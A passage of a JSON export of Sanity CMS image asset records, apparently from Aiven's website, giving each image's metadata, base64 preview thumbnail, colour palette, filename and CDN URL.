qcQ143bYoQ74wHb584a2ff7pVKu1BTcOCtD3sd8cZ/xQXCo15B3q7W441Nx1p6mg7HaA8UzF/lCN8XhvpGqQIG+05G2Xc87Nv3rv7K18RMC/Z76dsHE3EGTrqp92Osz2dlpMnWrpOt/k9ZCLKTUYCXNDtJe0uh5XAraNOa4yl3rty8ZfbdzDS1et19wWooTBNRmifB3f09bT3tLc6znRGKDIRDiUi3ATHcAFqlBjG7VanfdCDD8VY+o3XXsVIZ9co0eMb7Wd9To6mnHab5blWy4kWoq897nVMsmOTHDvJheKhYMhPUW6ccAwRw4OE3UridsyFd5Cubh91hqWHw34P4bC1PvvMsSNNA50nWU/fOOMcZ31RJhALBsZZP0ePjrkdHnzIZbfitoH/AMCacn0DsbeEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433c33","foreground":"#fff","population":11.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b110a","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4fcfc","foreground":"#000","population":11.83,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#beb6a8","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4fcfc","foreground":"#000","population":11.83,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#917e6c","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce5130","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"panu.png","path":"images/sczeoy4w/production/8632d7efdfa1d302ca6985f107570f028f8958ad-398x333.png","sha1hash":"8632d7efdfa1d302ca6985f107570f028f8958ad","size":135819,"uploadId":"Znt7kxbvKzahEKjA2xo2GlU8ym3bK1dJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/8632d7efdfa1d302ca6985f107570f028f8958ad-398x333.png"} {"_createdAt":"2022-08-29T14:01:52Z","_id":"image-865a6b2abbc7884740e9ded244e9bce25d0ab639-77x12-svg","_rev":"EdPvsAnB5lsAwT1bYoopYS","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:01:52Z","assetId":"865a6b2abbc7884740e9ded244e9bce25d0ab639","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"40A19U0J4T^m:]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.416666666666667,"height":12,"width":77},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAh0lEQVQImU2OvQrCUBSD7+7YTdBJaEHRxZ9SFFEUUZeugnEIpO//CBLI0CHcnJuPc1JA7UGdQPWg7qBmXw4TUFNQa1CH5EdQ53i/1hbUEtQi/lNAtYFfoB5ZsALVBLqAekc+6ALmzXq+hXmC+hVwqEDNAzqwvLQGtUkTw9f873LIvhs1d97/AdPBUgxIMRhPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":2.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":2.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666767","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-upcloud-dark.svg","path":"images/sczeoy4w/production/865a6b2abbc7884740e9ded244e9bce25d0ab639-77x12.svg","sha1hash":"865a6b2abbc7884740e9ded244e9bce25d0ab639","size":2106,"uploadId":"depnpHhHJmOvEP27MM9gFlNr0YGskOfP","url":"https://cdn.sanity.io/images/sczeoy4w/production/865a6b2abbc7884740e9ded244e9bce25d0ab639-77x12.svg"} {"_createdAt":"2022-09-26T15:24:02Z","_id":"image-86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630-jpg","_rev":"lf1jOsEAA7PAFZMZhZkYim","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T15:24:02Z","assetId":"86750f6c428dd10568c02e99ed26c74f21468f6e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQDvTq4:JC~94:$eo~NIn4oyDj%MoHM}xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQb/xAAiEAACAgICAgIDAAAAAAAAAAABAgMEAAUGMRESByEiYYH/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAwT/xAAcEQEAAgMAAwAAAAAAAAAAAAABABECAwQTMVH/2gAMAwEAAhEDEQA/AFPWv6la0KzViZVH5EJ2cYHxno9TyepfiStCLan29GHjwn6xV22JrRj66HQGaDgG3vaq5Yk19l4HeP1YqAfI/uPdXN59dCiN+/kL597qzupI5zxtdZyKatRrA11UFSH7wyk312zZ2LyzzO8hH2ScM06ysQZDJVUn/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3c64","foreground":"#fff","population":0.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c2cd","foreground":"#000","population":1.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67a4f8","foreground":"#000","population":1.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#637389","foreground":"#fff","population":1.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3951b","foreground":"#000","population":4.5,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven_value_calculator_meta_preview_image.jpg","path":"images/sczeoy4w/production/86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630.jpg","sha1hash":"86750f6c428dd10568c02e99ed26c74f21468f6e","size":61403,"uploadId":"LIVmSCvQpL0bePVeoIvYkqe2zXPb8PRS","url":"https://cdn.sanity.io/images/sczeoy4w/production/86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630.jpg"} {"_createdAt":"2023-04-14T09:23:03Z","_id":"image-8699240f7c14ee81e6ca73df9753d4ebedb49a8e-1351x741-png","_rev":"ULcVtA1fOCO5xNRu1cuJ5n","_type":"sanity.imageAsset","_updatedAt":"2023-04-14T09:25:11Z","altText":null,"assetId":"8699240f7c14ee81e6ca73df9753d4ebedb49a8e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8S~q;I9OI%jN2%MRPaJslofX:W?VWrnt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8232118758434548,"height":741,"width":1351},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABKklEQVQokX2QS07DQAyGc2AuwYojIK7AQdgglkiwQZQiSoEmmcn4bU/RpDwKKnyyV/4/2XKXlw+vT6uUEuNEmAEQEInZ3CKi/kHMoy69vI39CGWSsoJhOfSbzTCknEjIw+NfurRJUwJElLKhtM7jmHIuZSIhNTUz/wvzbuzzlAFRmJgAoAAAinAbzkSE+3ft0w1DniYkUhFTFeVRYeFwV+nZldxavO6qsW39SZdSKYWY1VqOK1zX1Vm9P/HHc+oXmEGRQiRUa8R2+1MuhQB4J9fgWi59cew3R353Sutb6DOXYkTOXN2bui8TCZEym1nU6iGvMlzp24WnG8dkLG5W3dvaWfsl655cw1wQ26nm+7kvDsvu0f4RNdRCrcYB87/NH6fNP51zB+tbfgff9YE3cm6BpAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#616062","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4bc10","foreground":"#000","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c10f","foreground":"#000","population":1.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceadad","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47cc4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9cb4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c10f","foreground":"#000","population":1.34,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"clickhouse-integrations.png","path":"images/sczeoy4w/production/8699240f7c14ee81e6ca73df9753d4ebedb49a8e-1351x741.png","sha1hash":"8699240f7c14ee81e6ca73df9753d4ebedb49a8e","size":29617,"title":null,"uploadId":"ltl3HxI9ctvsv0TRWjt1WWVmDBKKuiFd","url":"https://cdn.sanity.io/images/sczeoy4w/production/8699240f7c14ee81e6ca73df9753d4ebedb49a8e-1351x741.png"} {"_createdAt":"2024-06-10T15:22:53Z","_id":"image-8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0-1726x976-png","_rev":"06CnkCNLb8AnjQwiBLGqtP","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:53Z","assetId":"8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7S$ovRjbI%Mog^,RjIUIVWC~qNGV[%MWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7684426229508197,"height":976,"width":1726},"exif":{"PixelXDimension":1726,"PixelYDimension":976,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABWElEQVQokY1S7W6DMAzk/Z+vv8roWtIWBiGIQiAJhJsujJZV3UckC3y2z3Yuke5GJG8FdrsYqRAYhgHzDMzz/M14/oNFznqURQMhrpBSwjmHV2cl+AuLCBpjcbvd0Pc9vPdLsvfw0xS+22kYp/04ITDDDANqpQLhGrBdj66QsFrfi6dpQtu26Lru3njyHr1xGIxbCJlU1zXSNIVSCuM4LoVSoYzf0coK0xemtcblckGeZeGuucFgLD6qBoVqYK1DxACT9vs9zudz6G6MQaNqZKlALavgM68sS8RxjMPhEJoT67RGweZSQfc9InbNsgzH4xHX6zUQckquX1VVWJE+SSna6XQK2zBGzLklRmNeRFVZTGJ+6Yc7tDaQrz7vjEXMo/F/FWfeivIMrEbyda2fch5KP9SOXr0pCkAyIUQQjP72iTy/xS3+ckKuw3tNkgR5nof1f5/wQfgJDehZ8mA9lO0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#191630","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c3c24","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5549c6","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#878ce4","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6599","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5549c6","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flow.png","path":"images/sczeoy4w/production/8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0-1726x976.png","sha1hash":"8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0","size":159635,"uploadId":"6iNdR1BrdERQ1cTzWorj39UwLL8TxTTf","url":"https://cdn.sanity.io/images/sczeoy4w/production/8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0-1726x976.png"} {"_createdAt":"2022-09-02T15:24:50Z","_id":"image-870861899ccc18e5cca0a86211804523f9172dd5-397x396-jpg","_rev":"0gThdvMbf71ZLkDCR4ZHj8","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:24:50Z","assetId":"870861899ccc18e5cca0a86211804523f9172dd5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDF5]m0001~U-n00-o?toLahtRD*iwENR*E3W?$*RkM{E1-UtSM|oe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0025252525252526,"height":396,"width":397},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAYHCAMF/8QAJhAAAQMDAwQCAwAAAAAAAAAAAQIDBAAFBhESQRMhMVEHIkJhYv/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQL/xAAiEQACAQMCBwAAAAAAAAAAAAABAgADESEEEgUxMjNxocH/2gAMAwEAAhEDEQA/AM+ysfkN5G9aWCHXULKQoeCPdW/h2Iu2uyPTWksPBCdXSF7Vg+tOaiEB6Ffs0YMUORX5BIDpP5cVbdqxu/ycbndByOqQQUJQT9lEHv34qnq3qKqq2L84JNrE2niKvFuZShMuWhl7aCUK8ilcIdlyENqTMt0OQ+lRClOAaj9UpQ06V8t7E2Gq26ZAPjaO27kEZ5YJWy6hSfWutawJ6Ul/pgJ3OknQfzSlM8S7g8QFD7INckkzHF71ArO46HmlKUgQLykjHaMz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4861","foreground":"#fff","population":2.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#061961","foreground":"#fff","population":10.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0cfc2","foreground":"#000","population":14.31,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0cfc2","foreground":"#000","population":14.31,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ecd0","foreground":"#000","population":1.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#877d80","foreground":"#fff","population":14.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b66e5c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dhruv-sehgal.jpg","path":"images/sczeoy4w/production/870861899ccc18e5cca0a86211804523f9172dd5-397x396.jpg","sha1hash":"870861899ccc18e5cca0a86211804523f9172dd5","size":21142,"uploadId":"2XzIa1GoOvziR8Ktd1OEutSVbcPHqu3h","url":"https://cdn.sanity.io/images/sczeoy4w/production/870861899ccc18e5cca0a86211804523f9172dd5-397x396.jpg"} {"_createdAt":"2024-02-22T21:09:27Z","_id":"image-871b47042488a34930bf9e7fff17c78d0cc5d120-550x365-jpg","_rev":"ie5WJlLr1SLUBaBgCvg8Dk","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T21:09:27Z","assetId":"871b47042488a34930bf9e7fff17c78d0cc5d120","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIC=MGJ7IokW$i~B%1smJAWCV@-obwV@RjIoxuxujFRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5068493150684932,"height":365,"width":550},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACAQAAICAgEFAQAAAAAAAAAAAAECAwQAEQUGEiEiMVH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwX/xAAaEQACAgMAAAAAAAAAAAAAAAABAgADBBFR/9oADAMBAAIRAxEAPwCV0OrljaOvZMjU417Yo5tMEB+6zalh4WxWWaC9X7CmygGip/DkarIZ2Jd29ceUriHoyZYzoyezNrz4wTotZB7NSh3tU8EdOHpV1oRiK0GXzogfcMmXF8zcrU0ijlPavzeGSbHbcUmWgUbE/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603b38","foreground":"#fff","population":2.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833108","foreground":"#fff","population":0.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#603b38","foreground":"#fff","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9acbe","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c891","foreground":"#000","population":0.71,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927067","foreground":"#fff","population":1.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c05613","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bricco.jpg","path":"images/sczeoy4w/production/871b47042488a34930bf9e7fff17c78d0cc5d120-550x365.jpg","sha1hash":"871b47042488a34930bf9e7fff17c78d0cc5d120","size":37493,"uploadId":"mOpongtt0c0EUO2IDMuafcaKWkLPhlHB","url":"https://cdn.sanity.io/images/sczeoy4w/production/871b47042488a34930bf9e7fff17c78d0cc5d120-550x365.jpg"} {"_createdAt":"2022-06-17T08:37:35Z","_id":"image-872e3bc5d0e07e1e6b2b3c038074f4c93cde3b3c-1500x1500-png","_rev":"qkpX9b3U0TpOGFQp8gRimL","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:35Z","assetId":"872e3bc5d0e07e1e6b2b3c038074f4c93cde3b3c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFOHvsx,2Bwf1cEAes1uSN-70}V|S1WVJ9}TkSwzj?$i1cay]nfi$i","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1500,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE8ElEQVQ4jUWUe0zcVRbHzxQEF6ympLWI9EFLgZZpofb+BgaGmcLIMMMwDDNnymN4dEpbpaGtrZWpWuMjqc8+3a7WuA9NqBqtMSauZuMju2Z39R8Tza6a+odG/UOjxvqXUSvzuWZGxJvc3Nxzk8/5nvO9OSIiwto9gntCrK9X2DgueJKCo0UYLcZRl3VUbMuwYHRRIWYKb/m7WCe1sBdWHmBNPqh5UCmO1uFoFEfjONqI0TKMLsFoK0YVo0GMVs0nkN/AvwO9/UKPT/BFXLQM1OJJ7sPRczj6Ko4+iFEvRrsx+gBGX8LoCxidxOjSgoh5aGHNDdcJXUGxzSOCv6eEtr4evP0n8SROY1J54Bs4eghHD2P0NEb/itG3MfpnjG78DfarShVhrEZsICR0+8W2xovpCIfpCJ/A15ulZeAETvLZAtCkbsPRezEF8CxGz+CkCsDcfMnky2Z0rcxFPa5coumyXMyU0RV0s7X7JgKhY7RH/0hr/A48yc5CP40exegpjB7H0QmMrsgZLc0ZLb6UVzmvsIih+tWkGiMkN/USM41cv7WdruABtnY/gD88g683jbc/gyd5F47eh9EMjjZhdAumkCiA0WU4KZeQri1juC7FYMNfSLkfItE0SszcSMR7lpD/Fbq6XiPQ8zrt0ddpjb+GJ/liwShHxzG6G6OPYfRk3ric0UXCjqpqxlfvIF17nKH646QanybR9B4x8w293q/o9r/J1uv/RkfkKdr63qU1/i2exBc4+l8cfRxHj2EKqqMYXSxMVUyza/mdZKqPMFZznpF1X7JtQ84mmiz9Wy7S5zlHuG2MYOc0gdA/8UV+whuztCQu4SQ/wtGzGL0do3nT+oTpq15lz5In2LX8T2SqL9jxVdama60dbADd+COJ5g/o3/IcEe/f6Q58TmdwzvrD2LY+a1sH5vAk/42jJzCpczipR4T95Y+xd/EJpioeYffVF5is+omJlT8zusbaoXpLqnGORPMPxMyPRLw5G+qwBLsgELpEe/R7vP1v4Uk8hFNw/ohw82Vpbi65j33lR5laMssNy/7D5DXvs33FRcZqcnZknbXbNlib3GRt/xaItlyix/cFwc53CYTewNd7Fm/sKK3xI3gSXmHGFWdm0SkOFd/PTX84w97FzzNV8Rw7K98kU32RiVWWdK1lqMGiG3PEN39On+dlwm3nCXU8Q7DzGP5w/s/eTVtfo5CVzWRlLzOuWW4p+h8HSz9lf/m/2LPkSXYtf4Ud137IxKpPSK/9mKGG90i5zzPQfI6YeYfe1s/oaX+bYOcZAqFhfL1VwmEpIyshsvIPsq7vOFT0fw6UPsv+8ixTFdvYWZkhU72X8dXTjNSmGVw/jLrvZ6D5ZWLmU6ItXxPxPkrI78YfLhZ7VPIqm8jKLFn5iKw8zKHiCAcu38S+8gp2LS9j8pqr2L7ySsZqyhiqr2RwvYeUe4TkpheIb75AzNxNtKXS9vhE7OECsIKsjJKVs2RlD1mp4mBJkb1VXNy4VNhZKWRWCBMrhaEGF6NrSxiuczO4/h7UfZJEcycx53KiLQtAF1lZOt9Pt83KFeTjk1XC7quFHdcK46sKg8RmqsWOrxY7sm4Zw3XXMbh+Ayn3FcQcsWM1C8CFswCfWSQcLBEOlgr7y4TpK8WOrRE7ukYYqhfyM3RkXX4OuEjXCttXCLMibNsgvwCE1+8O3PO37QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#715136","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#780f0d","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa394d","foreground":"#fff","population":11.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950312","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa394d","foreground":"#fff","population":11.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5866","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":2.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"crabby-RGB-square.png","path":"images/sczeoy4w/production/872e3bc5d0e07e1e6b2b3c038074f4c93cde3b3c-1500x1500.png","sha1hash":"872e3bc5d0e07e1e6b2b3c038074f4c93cde3b3c","size":149250,"uploadId":"JaJGbxqWvHE6OQrQqNWROApYtwOH8VWC","url":"https://cdn.sanity.io/images/sczeoy4w/production/872e3bc5d0e07e1e6b2b3c038074f4c93cde3b3c-1500x1500.png"} {"_createdAt":"2022-09-27T15:18:37Z","_id":"image-8739a2081c603657773ab665488a591f83164d28-1600x1137-png","_rev":"lf1jOsEAA7PAFZMZhbvQJc","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T15:18:37Z","assetId":"8739a2081c603657773ab665488a591f83164d28","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfPF}^Ek9ETJDiysr?xaxaV@8wV@t,smkXgin$emj@Ri","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADyElEQVQ4jX2QX0xbVRzH70NhkGiiyXyYe3LqZjCQqJE9FLJIY/FBsxjdAnG6jg1j1rVsljIYLGzrymCQMglt2dQMNja2MqJiXGUxm7ESExVkpAUKBfp37WxZ23vP/XvuOcfcW5K9eZJPvr+X8znf86MyT7ji0NqjF+7/+seOsdvf7RwZ9ey6VuA1hZHryjy+68bYxKtDV4ZfnJmZrfg3nW7JZnOjAIDbEMJbCKFeCGE1R+c0VI6BJYOub8r21TcY9tR+ZNPq9/doa+u6tbV1SvZo9XXd1e/V97z7YcOF9+uOdnZ2Dzpm5/zTmXQmRdN0RhTFDELIB2W0nxFwMZXJCaUnvmytrv/k8HDjsbZ186neVFNHf7Kpoz/V1O5ImdsdyeOnL6VabM7k6YvfJi5fm3z8z8MlfiOzQRiGIaIoEhnCRciDQ+yyr4SKp3KlFstJ3blz9skff7rHz84Hyax/hfw1t6Ty98MgmZlfJnOBVeJfjpBQOElSjzM4n8sjlmWRIAhYotNhKfhLu3y5ZhsVTWyUtrZ16FxO1w+BQIATBIGwLIey2RzO5/MYABZzHId5QcCyLKuwgMU0TWOW5TDP80RMLjLSg96bqPulN6nYptDpdE36AwGO5wWiCBQZTTPKBSxJEoZQxgghDCHEAABM52n1IUmSiJz0Q/neGS+yb6+iovFMibWl9R2n0/V9ILDAiYJIREHALAMIAIAojRFCBJPCUcQMA7DyA6U9hJCgVOCpcDmU0BgONeweGBjwqEJRJFAUMc+yhAPK0jeFGKvIskwKwqwqBHSePJmfgsxYoxed3VpFHTO3UjU6XYXD0T+6sLDISqKkNgQMgwFDE4Hnsay0UKQIqSkIIuE5Tkn8KBIiczc7YfhsuRe1FVVRyVSaqqysLHM4HCPBYBAoDVShsnSGwSLPYwQhxrJcqEhIIbFyCI6u+MnvXzXAJfNzd0kzpaU8ngmNXq9/w2az3fD5fFwkHCHra2EUWgnh1dAqXl8L40g4iqORKI5GYzgai6vE4nEciSXQn9P3sfdCveQ3b/UKp57ZQ129OrLtyJFGndFovNLX1+cf/todvzXUy4277GTceb6Ay07uuO1k3K1kV4GhLjLu7iLXLzYTj6UGzVheebB+/u0PKIfj0vamphNvffrZwY8NBsPnXV/stU+YKn+bMlfEpszliZ9N5Qkl1Xkzp8wVTzG9npg2vxxdsO644z+zu5ayWk9qTEbjlgMHD5cc2Le3dMn8fFnOUnwcNGucoFnjBs0a1/9T5GatRYNsyxZTtuXZnf8B6vAu4qzEqswAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3948","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082762","foreground":"#fff","population":1.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f77405","foreground":"#fff","population":7.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1bfc0","foreground":"#000","population":1.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9ccc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4648c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77405","foreground":"#fff","population":7.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-apache-kafka-connect.png","path":"images/sczeoy4w/production/8739a2081c603657773ab665488a591f83164d28-1600x1137.png","sha1hash":"8739a2081c603657773ab665488a591f83164d28","size":66524,"uploadId":"NKvqgXEUh6luk4nOa5ZMUw9WKkSiZZFG","url":"https://cdn.sanity.io/images/sczeoy4w/production/8739a2081c603657773ab665488a591f83164d28-1600x1137.png"} 